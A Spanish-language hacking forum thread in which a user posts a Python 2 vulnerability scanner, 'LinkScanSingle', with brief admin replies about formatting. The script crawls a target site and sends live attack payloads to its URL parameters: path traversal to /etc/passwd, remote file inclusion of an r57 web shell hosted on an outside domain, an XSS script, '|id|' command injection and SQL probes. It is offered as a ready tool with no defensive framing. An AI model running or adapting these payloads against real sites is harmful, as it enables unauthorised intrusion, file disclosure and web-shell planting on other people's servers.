SQL Injection Scanner [code]

gfxgfx
 
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación?

Ingresar con nombre de usuario, contraseña y duración de la sesión
 
gfx gfx
gfx
21208 Mensajes en 4872 Temas por 20718 Usuarios - Último usuario: zlyqftmcxa Mayo 20, 2012, 01:35:20
*
gfx*InicioAyudarssBuscarCalendarioIngresarRegistrarsegfx
gfxgfx
0 Usuarios y 2 Visitantes están viendo este tema.       « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: SQL Injection Scanner [code]  (Leído 1029 veces)
fresh CC
Visitante


Email
SQL Injection Scanner [code]
« en: Noviembre 01, 2009, 11:09:30 »

Código
Code (python):
#!/usr/bin/python
#LinkScanSingle will take a site and
#collect links from the source. If the link
#contains a = it checks LFI,XSS,RFI,SQL,CMD injection
#searching source (simple)
 
#If your going to use a different shell then the
#one I have supplied, you will need to change line
#54 (r57shell) to something in your shell source.
 
from sgmllib import SGMLParser
import sys, urllib, httplib, re, urllib2, sets, socket
 
socket.setdefaulttimeout(5)
 
class URLLister(SGMLParser):
  def reset(self):
     SGMLParser.reset(self)
     self.urls = []
 
  def start_a(self, attrs):
     href = [v for k, v in attrs if k=='href']
     if href:
        self.urls.extend(href)
 
def parse_urls(links):
  urls = []
  for link in links:
     num = link.count("=")
     if num > 0:
        for x in xrange(num):
           x = x+1
           if link[0] == "/" or link[0] == "?":
              url = site+link.rsplit("=",x)[0]+"="
           else:
              url = link.rsplit("=",x)[0]+"="
           if url.find(site.split(".",1)[1]) == -1:
              url = site+url
           if url.count("//") > 1:
              url = "http://"+url[7:].replace("//","/",1)
           urls.append(url)
  urls = list(sets.Set(urls))
  return urls
 
def main(host):
  print "\n\t[+] Testing:",host,"\n"
  try:
     if verbose == 1:
        print "[+] Checking XSS"
     xss(host)
  except(urllib2.HTTPError, urllib2.URLError), msg:
     #print "[-] XSS Error:",msg
     pass
  try:
     if verbose == 1:
        print "[+] Checking LFI"
     lfi(host)
  except(urllib2.HTTPError, urllib2.URLError), msg:
     #print "[-] LFI Error:",msg
     pass
  try:
     if verbose == 1:
        print "[+] Checking RFI"
     rfi(host)
  except(urllib2.HTTPError, urllib2.URLError), msg:
     #print "[-] RFI Error:",msg
     pass
  try:
     if verbose == 1:
        print "[+] Checking CMD"
     cmd(host)
  except(urllib2.HTTPError, urllib2.URLError), msg:
     #print "[-] CMD Error:",msg
     pass
  try:
     if verbose == 1:
        print "[+] Checking SQL"
     sql(host)
  except(urllib2.HTTPError, urllib2.URLError), msg:
     #print "[-] SQL Error:",msg
     pass
 
def rfi(host):
 
  try:
     source = urllib2.urlopen(host+RFI).read()
     if re.search("r57shell", source):
        print "[+] RFI:",host+RFI
     else:
        if verbose == 1:
           print "[-] Not Vuln."
  except(),msg:
     #print "[-] Error Occurred",msg
     pass
 
def xss(host):
  source = urllib2.urlopen(host+XSS).read()
  if re.search("XSS", source) != None:
     print "[!] XSS:",host+XSS
  else:
     if verbose == 1:
        print "[-] Not Vuln."
 
def sql(host):
  for pload in SQL:
     source = urllib2.urlopen(host+pload).read()
     if re.search("Warning:", source) != None:
        print "[!] SQL:",host+pload
     else:
        if verbose == 1:
           print "[-] Not Vuln."
 
def cmd(host):
  source = urllib2.urlopen(host+CMD).read()
  if re.search("uid=", source) != None:
     print "[!] CMD:",host+CMD
  else:
     if verbose == 1:
        print "[-] Not Vuln."
 
def lfi(host):
 
  source = urllib2.urlopen(host+LFI).read()
  if re.search("root:", source) != None:
     print "[!] LFI:",host+LFI
  else:
     if verbose == 1:
        print "[-] Not Vuln."
  source = urllib2.urlopen(host+LFI+"%00").read()
  if re.search("root:", source) != None:
     print "[!] LFI:",host+LFI+"%00"
  else:
     if verbose == 1:
        print "[-] Not Vuln. w/  Null Byte"
 
print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSingle v1.3"
print "\t-------------------------------------------------\n"
 
if len(sys.argv) not in [2,3]:
  print "Usage : ./linkscan.py <site> [option]"
  print "Ex: ./linkscan.py [url]http://www.google.com[/url] -verbose"
  print "\n\t[Option]"
  print "\t\t-verbose/-v | Verbose Output\n"
  sys.exit(1)
 
LFI = "../../../../../../../../../../../../etc/passwd"
RFI = "http://yozurino.com/r.txt?"
RFI_TITLE = "Target"
XSS = "%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E"
CMD = "|id|"
SQL = ["-1","999999"] #Add more or change sql payloads
 
site = sys.argv[1].replace("\n","")
print "\n[+] Collecting:",site
try:
  if sys.argv[2].lower() == "-v" or sys.argv[2].lower() == "-verbose":
     verbose = 1
     print "[+] Verbose Mode On\n"
except(IndexError):
  print "[-] Verbose Mode Off\n"
  verbose = 0
  pass
site = site.replace("http://","").rsplit("/",1)[0]+"/"
site = "http://"+site.lower()
try:
  usock = urllib.urlopen(site)
  parser = URLLister()
  parser.feed(usock.read().lower())
  parser.close()
  usock.close()
except(IOError, urllib2.URLError), msg:
  print "[-] Error Connecting to",site
  print "[-]",msg
  sys.exit(1)
urls = parse_urls(parser.urls)
print "[+] Links Found:",len(urls)
for url in urls:
  try:
     main(url)
  except(KeyboardInterrupt):
     pass
print "\n[-] Done\n"
Fresh CC
« Última modificación: Noviembre 01, 2009, 16:02:57 por snf » En línea
snf
Administrator
*****
Desconectado Desconectado

Mensajes: 692


Ver Perfil
Re: SQL Injection Scanner [code]
« Respuesta #1 en: Noviembre 01, 2009, 16:05:50 »

Te edite el mensaje porque el python necesita estar bien indentado para que funcione.
Fuentes del programa: darkc0de.
En línea

Posts "interesantes"
================
Que es una shellcode?
Bad chars y encoders/decoders en payloads

El tiempo es un gran profesor, pero lamentablemente mata a todos sus alumnos.
fresh CC
Visitante


Email
Re: SQL Injection Scanner [code]
« Respuesta #2 en: Noviembre 01, 2009, 19:00:21 »

tenes alguna vista de como estaba antes yo lo veo igual

en fin gracias   Huh Huh Huh

Salu2  Mijo

 Cool Cool Cool Cool
En línea
snf
Administrator
*****
Desconectado Desconectado

Mensajes: 692


Ver Perfil
Re: SQL Injection Scanner [code]
« Respuesta #3 en: Noviembre 01, 2009, 19:10:38 »

No cambie nada del cdigo, nada mas le saque el [center] porque sino no se podia copiar bien el codigo y tampoco se entendia mucho asi jaja.

Saludos,
Seba.
En línea

Posts "interesantes"
================
Que es una shellcode?
Bad chars y encoders/decoders en payloads

El tiempo es un gran profesor, pero lamentablemente mata a todos sus alumnos.
gfx
Páginas: [1] Ir Arriba Imprimir 
gfx
Ir a:  
gfx
Powered by SMF 1.1.16 | SMF © 2006, Simple Machines
HDL Group hackers

gfx